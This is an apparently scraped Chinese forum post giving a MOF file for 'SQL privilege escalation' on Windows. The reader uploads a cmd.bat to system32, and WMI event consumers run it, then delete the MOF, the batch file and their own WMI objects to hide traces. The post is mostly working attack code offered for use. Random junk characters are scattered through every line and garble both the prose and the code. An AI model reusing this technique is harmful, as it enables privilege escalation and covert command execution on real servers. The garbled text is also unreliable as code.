这个sql提权MOF需要运行 system下的文件,不能定义路径。
% Q. e: b) Y- U1 s/ t) x" U( H需要将要运行的命令写入到bat上传到system32目录,然后执行。
' N% |$ U- w9 r$ b/ F2 S6 i, o# [/ P7 q9 G1 e" h' p7 U
这个sql提权MOF需要运行 system下的文件,不能定义路径。
8 ~3 A% f& m( _" o! K需要将要运行的命令写入到bat上传到system32目录,然后执行。$ w# h/ V6 v/ o9 j+ r3 u2 T3 s
: j e! h! N- Q3 f#pragma* s+ i6 s2 B/ y" M5 Q1 p
namespace("\\\\.\\root\\cimv2")+ c+ \7 \" ~6 l2 z" U3 Q& v
class3 C* T$ H& F& J4 D* l
MyClass5475 h+ ~5 K" F! h6 g1 Y: L
{ [key]
7 [4 l( I1 t5 A" i3 p2 q string2 u g4 w5 { w9 h1 o9 U$ n- |8 E
Name;
( U0 J0 i- I' ?) j ? };
. R: I# y+ x6 g& G class+ R6 m4 C( ?* h9 [- f! G. u$ k
ActiveScriptEventConsumer
: f7 G+ t/ l/ Q' ]3 h : __EventConsumer { [key], M/ t9 |5 N& Y% n7 S4 Q+ j6 u
string
1 s9 d3 L* W% v1 c) B& }& v Name; [not_null]
( D$ a5 x; e& f7 b$ _ string
, @3 }; A8 {7 L& u ScriptingEngine; string% g) @5 N( n2 R+ ^8 ]3 U* _
ScriptFileName; [template]) y( ]4 T6 ?* g7 r. J- [
string
N1 g8 D+ o* w6 l3 d ScriptText; uint32 KillTimeout;, A' k8 [, F: k( }/ C. ~% H$ |2 O
}; instance of __Win32Provider as $P {2 y) {9 Z( L( Y, m2 [$ H7 V
Name5 b5 s7 y( Q, w
=$ ?3 E* g R3 b' d; p/ X
"ActiveScriptEventConsumer"; CLSID =2 n' }8 j: [) [ ?. I. B) Q
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";2 L8 U( p2 P8 T- I2 s/ y
PerUserInitialization
4 \$ x1 D6 m# v% q& s = TRUE;
w, j# c/ U6 o7 O+ s& C8 j) g* c# A }; instance of __EventConsumerProviderRegistration { Provider
7 A, l# {6 Y, t* {) x6 F$ F) {8 r = $P; ConsumerClassNames
6 j- A" G3 z% i9 j4 ^: b, } =/ j% E2 R7 S' x$ n- u
{"ActiveScriptEventConsumer"};
% I8 q* t8 k, U' F2 N+ ~& V };
- O' e) | @2 l; A) N& U Instance of ActiveScriptEventConsumer9 U5 h5 h* O5 m5 X+ x
as $cons { Name" e8 c0 S6 f. E9 \
=
8 B0 B. N' }2 B1 d0 B$ z "ASEC"; ScriptingEngine
; {( `8 S6 p+ l4 M7 N =# k# n. U5 \" q' m( b/ X! m. V5 B8 V
"JScript"; ScriptText6 n+ d: h& j( m9 t: x* ?% D% l1 ~
=
) u! e; }; _ ~" U N/ H# c! C# A "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
9 `. |7 m* r+ z1 c A2 c# s( a Instance of ActiveScriptEventConsumer
3 L0 S$ f V3 W as $cons2 { Name2 M. m# [4 U7 Z9 B o
=
* [6 _8 b0 J! n- p "qndASEC"; ScriptingEngine
$ |+ m; h" B( ?0 P# {& a1 _8 Q; { =, w+ z7 j. c( s
"JScript"; ScriptText/ o* Y8 P+ A4 Q: F- }
=% |& t! F) E, l6 C8 @: V
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";: |: R8 U# w4 B1 U, U4 u
}; instance of __EventFilter as $Filt { Name6 G H9 ~+ J% {3 ~$ a
=' O' q( B0 {5 _: t+ g
"instfilt"; Query
% }' B! P0 d* V* o0 D( t =. r% f$ D- ?3 ?6 O
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage; p, [* V4 W' I: y0 G8 s
=
6 ~6 p+ d$ |# P, O4 Q; _" u% j "WQL"; }; instance of __EventFilter as $Filt2 { Name
- B0 s6 H. B- Y: U3 L =
, b Q! n4 c- V# m "qndfilt"; Query5 F. X. n. c, I% }1 G; z1 Q: ]0 _
=9 @9 O0 ~* u0 ^0 M5 o& h
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage$ b$ D8 O4 ~2 o% r7 T8 F' Z/ j {
=
; \2 R- O2 ?% ?6 i3 R "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
9 O( u4 c+ q4 S4 t# Z& H. W8 W = $cons; Filter
* r: C6 Z3 R1 ]( I7 _2 S7 g = $Filt;
, j" r6 E/ S9 c5 Q }; instance of __FilterToConsumerBinding as $bind2 { Consumer
6 z1 e! w. p& t+ r2 S V$ \4 O = $cons2; Filter
4 ]' M3 L2 N' [! ^0 e' o: Q = $Filt2;
6 }) s/ U6 L9 e0 a }; instance of MyClass5479 a J" i6 Z; o! Z
as $MyClass { Name
+ E- V% P6 |9 R. z! ^2 c =
8 K& F5 C" {+ _9 ` "ClassConsumer";% V1 f- w. k6 @9 a- _
}; |